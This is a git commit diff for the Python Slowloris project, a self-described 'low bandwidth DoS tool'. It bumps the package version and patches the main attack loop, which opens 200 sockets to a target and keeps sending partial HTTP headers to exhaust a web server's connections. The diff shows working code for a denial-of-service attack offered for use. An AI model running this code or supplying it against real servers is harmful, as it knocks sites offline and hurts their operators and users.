This commit is contained in:
Gökberk Yaltıraklı 2016-09-29 11:21:03 +01:00
parent e888317551
commit 82488f9b9c
2 changed files with 10 additions and 5 deletions

View File

@ -3,7 +3,7 @@ setup(
name = "Slowloris", name = "Slowloris",
py_modules = ["slowloris"], py_modules = ["slowloris"],
entry_points = {"console_scripts": ["slowloris=slowloris:main"]}, entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
version = "0.1.1", version = "0.1.2",
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.", description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
author = "Gokberk Yaltirakli", author = "Gokberk Yaltirakli",
author_email = "webdosusb@gmail.com", author_email = "webdosusb@gmail.com",

View File

@ -30,6 +30,7 @@ def main():
if len(sys.argv) != 2: if len(sys.argv) != 2:
print("Usage: {} example.com".format(sys.argv[0])) print("Usage: {} example.com".format(sys.argv[0]))
return return
ip = sys.argv[1] ip = sys.argv[1]
socket_count = 200 socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count)) log("Attacking {} with {} sockets.".format(ip, socket_count))
@ -45,17 +46,21 @@ def main():
while True: while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets))) log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
for s in list_of_sockets: for s in list(list_of_sockets):
try: try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error: except socket.error:
list_of_sockets.remove(s) list_of_sockets.remove(s)
for i in range(socket_count - len(list_of_sockets)):
for _ in range(socket_count - len(list_of_sockets)):
log("Recreating socket...") log("Recreating socket...")
try: try:
s = init_socket(ip) s = init_socket(ip)
if s: if s:
list_of_sockets.append(s) list_of_sockets.append(s)
except: except socket.error:
pass break
time.sleep(15) time.sleep(15)
if __name__ == "__main__":
main()